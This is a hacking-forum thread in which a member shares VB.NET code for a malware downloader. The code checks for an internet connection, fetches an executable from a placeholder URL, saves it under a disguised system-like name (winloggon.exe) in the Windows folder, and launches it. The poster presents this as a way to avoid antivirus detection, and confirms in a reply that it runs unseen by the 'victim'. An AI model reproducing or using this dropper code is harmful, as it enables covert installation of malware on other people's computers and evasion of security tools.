Gothack [+] Fuck the Rulez  
Go Back   Gothack [+] Fuck the Rulez > Coders Corner > .Net Languages C#/VB

Reply
 
LinkBack Thread Tools Search this Thread Display Modes
  #1  
Old 02-20-2010, 09:26 PM
Member
 
Join Date: Feb 2010
Posts: 10
Thanks: 0
Thanked 1 Time in 1 Post
Default [VB.NET] Simple Download/Execute

This is a simple VB.net Download/Execute code.

Imports -- Put this way at the top(For noobs)
Code:
Imports System.IO
Internet Check -- Don't put this in another function(For noobs)
Code:
    Private Function IsConnectionAvailable() As Boolean
        Dim url As New System.Uri("http://www.google.com/")
        Dim req As System.Net.WebRequest
        req = System.Net.WebRequest.Create(url)
        Dim resp As System.Net.WebResponse
        Try
            resp = req.GetResponse()
            resp.Close()
            req = Nothing
            Return True
        Catch ex As Exception
            req = Nothing
            Return False
        End Try
    End Function
Download/Execute -- Checks for internet and if it is working it will download the file if not it will just close the application!
Code:
        If IsConnectionAvailable() = True Then
            Dim furl As String
            Dim fpath As String

            furl = "http://example.com/server.exe"
            fpath = "c:\windows\winloggon.exe"

            If File.Exists(fpath) Then
                Try
                    File.Delete(fpath)
                    My.Computer.Network.DownloadFile(furl, fpath)
                    System.Threading.Thread.Sleep(100)
                    Process.Start(fpath)
                Catch ex As Exception
                    System.Threading.Thread.Sleep(1)
                End Try
            Else
                My.Computer.Network.DownloadFile(furl, fpath)
                System.Threading.Thread.Sleep(100)
                Process.Start(fpath)
            End If
        Else
            Application.Exit()
        End If
This is nice if you want to keep a program you made not a "virus".

Your program will be scanned as undetected but when they download the file if it is not scantime/runtime FUD it may get detected by there Anti-Virus.
Digg this Post!Bookmark Post in Technorati
Reply With Quote
The Following User Says Thank You to Sasuke For This Useful Post:
soap (02-20-2010)
  #2  
Old 02-22-2010, 08:16 AM
redskull's Avatar
~Elite Badass~
 
Join Date: Feb 2010
Posts: 42
Thanks: 0
Thanked 2 Times in 1 Post
Send a message via MSN to redskull Send a message via Yahoo to redskull
Default

Very nice, can be improved a lot though
Digg this Post!Bookmark Post in Technorati
Reply With Quote
  #3  
Old 02-25-2010, 06:16 AM
Th3 Jok3r's Avatar
Member
 
Join Date: Feb 2010
Posts: 4
Thanks: 0
Thanked 0 Times in 0 Posts
Default

Good Job! I am gonna try this sometime..
Digg this Post!Bookmark Post in Technorati
Reply With Quote
  #4  
Old 02-25-2010, 03:09 PM
PH34K's Avatar
→Ťħē Өŗĩģīńā₤←
 
Join Date: Feb 2010
Posts: 151
Thanks: 2
Thanked 1 Time in 1 Post
Send a message via MSN to PH34K
Default

So does this do this in the bg so the victim doesnt relize it?
__________________


add me if you need something
skarfacE_Da_klown@hotmail.com
Digg this Post!Bookmark Post in Technorati
Reply With Quote
  #5  
Old 03-01-2010, 07:08 PM
Mike's Avatar
Member
 
Join Date: Feb 2010
Location: Chicago
Posts: 20
Thanks: 1
Thanked 0 Times in 0 Posts
Send a message via MSN to Mike
Default

Could be improved a lot, kind of old to be honest.
__________________

slip my ho a fourty four n' she crept in it back do'
bitches lookin' at me strange but you know i don't care
step up in this mothafucker just to swingin' my hair
Bitch quit talkin' Crip walk
If you down with the set
Take a Bullet with some dick
take this dope from this jet
Digg this Post!Bookmark Post in Technorati
Reply With Quote
  #6  
Old 03-01-2010, 09:20 PM
Member
 
Join Date: Feb 2010
Posts: 10
Thanks: 0
Thanked 1 Time in 1 Post
Default

Quote:
Originally Posted by PH34K View Post
So does this do this in the bg so the victim doesnt relize it?
Yes.

10char
Digg this Post!Bookmark Post in Technorati
Reply With Quote
  #7  
Old 03-02-2010, 04:48 AM
PH34K's Avatar
→Ťħē Өŗĩģīńā₤←
 
Join Date: Feb 2010
Posts: 151
Thanks: 2
Thanked 1 Time in 1 Post
Send a message via MSN to PH34K
Default

ok cool......
__________________


add me if you need something
skarfacE_Da_klown@hotmail.com
Digg this Post!Bookmark Post in Technorati
Reply With Quote
Reply

Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT +1. The time now is 01:46 PM.

Click here to Vote! Downloads Top Hackers Sites